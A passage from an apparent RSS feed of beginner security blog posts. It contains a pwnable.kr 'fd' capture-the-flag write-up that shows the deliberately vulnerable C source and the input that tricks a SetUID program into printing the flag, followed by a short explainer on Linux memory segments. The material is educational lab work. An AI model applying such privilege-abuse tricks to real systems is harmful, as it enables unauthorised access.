&lt;p&gt;The file we want to read is a &lt;code&gt;flag&lt;/code&gt; file, and only the &lt;code&gt;fd_pwn&lt;/code&gt; owner or the root user can read the file.&lt;br&gt;
BUT we are &lt;code&gt;fd&lt;/code&gt; now.&lt;br&gt;
So we should be the fd_pwn to gain proper permission.&lt;br&gt;
&lt;code&gt;fd&lt;/code&gt; has SetUID to &lt;code&gt;fd_pwn&lt;/code&gt;. We can use it to gain access. &lt;/p&gt;

&lt;p&gt;Look the source file up:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
char buf[32];
int main(int argc, char* argv[], char* envp[]){
    if(argc&amp;lt;2){
        printf("pass argv[1] a number\n");
        return 0;
    }
    int fd = atoi( argv[1] ) - 0x1234;
    int len = 0;
    len = read(fd, buf, 32);
    if(!strcmp("LETMEWIN\n", buf)){
        printf("good job :)\n");
        system("/bin/cat flag");
        exit(0);
    }
    printf("learn about Linux file IO\n");
    return 0;

}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We have to put an argument value, and if we put &lt;code&gt;0x1234&lt;/code&gt; in the argument value, fd = 0 so that we can use standard input (keyboard) to input. After that we can set &lt;code&gt;buf&lt;/code&gt; to &lt;code&gt;LETMEWIN&lt;/code&gt; via standard input.&lt;br&gt;
0x1234 is &lt;code&gt;4660&lt;/code&gt; in decimal, so run following command to get the desired result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./fd 4660
LETMEWIN
good job :)
_FLAG_
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>pwnable</category>
      <category>security</category>
    </item>
    <item>
      <title>[pwnable.kr] Main</title>
      <dc:creator>Hyunseung Ha</dc:creator>
      <pubDate>Thu, 20 Oct 2022 16:17:14 +0000</pubDate>
      <link>https://forem.com/hejhs/pwnablekr-main-131o</link>
      <guid>https://forem.com/hejhs/pwnablekr-main-131o</guid>
      <description></description>
    </item>
    <item>
      <title>[PWN.01] Memory Layout</title>
      <dc:creator>Hyunseung Ha</dc:creator>
      <pubDate>Thu, 20 Oct 2022 15:31:19 +0000</pubDate>
      <link>https://forem.com/hejhs/pwn01-memory-layout-iho</link>
      <guid>https://forem.com/hejhs/pwn01-memory-layout-iho</guid>
      <description>&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--lmkisYXG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ocmzzqvs2k46r0oxmjbl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--lmkisYXG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ocmzzqvs2k46r0oxmjbl.png" alt="Memory Layout Image" width="880" height="495"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What is Memory Layout
&lt;/h2&gt;

&lt;p&gt;If an attacker can maliciously manipulate memory, the manipulated memory value can cause the CPU to misbehave.&lt;br&gt;
We call it &lt;strong&gt;&lt;code&gt;Memory Corruption&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
Memory in Linux System is divided into 5 major Segments.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Code segment(Text Segment)
&lt;/h3&gt;

&lt;p&gt;where Executable machine code is located in.&lt;br&gt;
&lt;em&gt;Code segment&lt;/em&gt; has &lt;code&gt;READ&lt;/code&gt; and &lt;code&gt;EXECUTE&lt;/code&gt; permission.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Data segment
&lt;/h3&gt;

&lt;p&gt;Global variables and global constants whose values ​​are set at compile time are located.&lt;br&gt;
&lt;em&gt;Data segment&lt;/em&gt; has &lt;code&gt;READ&lt;/code&gt; permissions.&lt;br&gt;
And This segment is divided into Two parts.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;data segment : writable&lt;/li&gt;
&lt;li&gt;rodata(read-only Data) segment : No writable&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3. BSS segment (Block Started by Symbol)
&lt;/h3&gt;

&lt;p&gt;Global variables whose values ​​are not set at compile time are located.&lt;br&gt;
The variables are set to Zero all &lt;/p&gt;

&lt;h3&gt;
  
  
  4. Heap segment(Lower → High)
&lt;/h3&gt;

&lt;p&gt;Segment to store dynamically allocated data.&lt;br&gt;
This segment has &lt;code&gt;READ&lt;/code&gt; and &lt;code&gt;WRITE&lt;/code&gt; permissions.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Stack segment(High → Lower)
&lt;/h3&gt;

&lt;p&gt;Temporary variables such as function arguments or Local variables are stored here during execution.&lt;br&gt;
Stack segment has &lt;code&gt;READ&lt;/code&gt; and &lt;code&gt;WRITE&lt;/code&gt; permissions.&lt;br&gt;
This segment has &lt;code&gt;Stack Frame&lt;/code&gt; which is created when a function is called and freed when the function returns.&lt;/p&gt;

</description>
      <category>pwnable</category>
      <category>security</category>
    </item>
    <item>
      <title>[PWN.X] Series Main</title>
      <dc:creator>Hyunseung Ha</dc:creator>
      <pubDate>Thu, 20 Oct 2022 12:44:19 +0000</pubDate>
      <link>https://forem.com/hejhs/pwnx-series-main-19nc</link>
      <guid>https://forem.com/hejhs/pwnx-series-main-19nc</guid>
      <description>&lt;h2&gt;
  
  
  Pwnable.X
&lt;/h2&gt;

</description>
      <category>pwnable</category>
      <category>security</category>
    </item>
  </channel>
</rss>
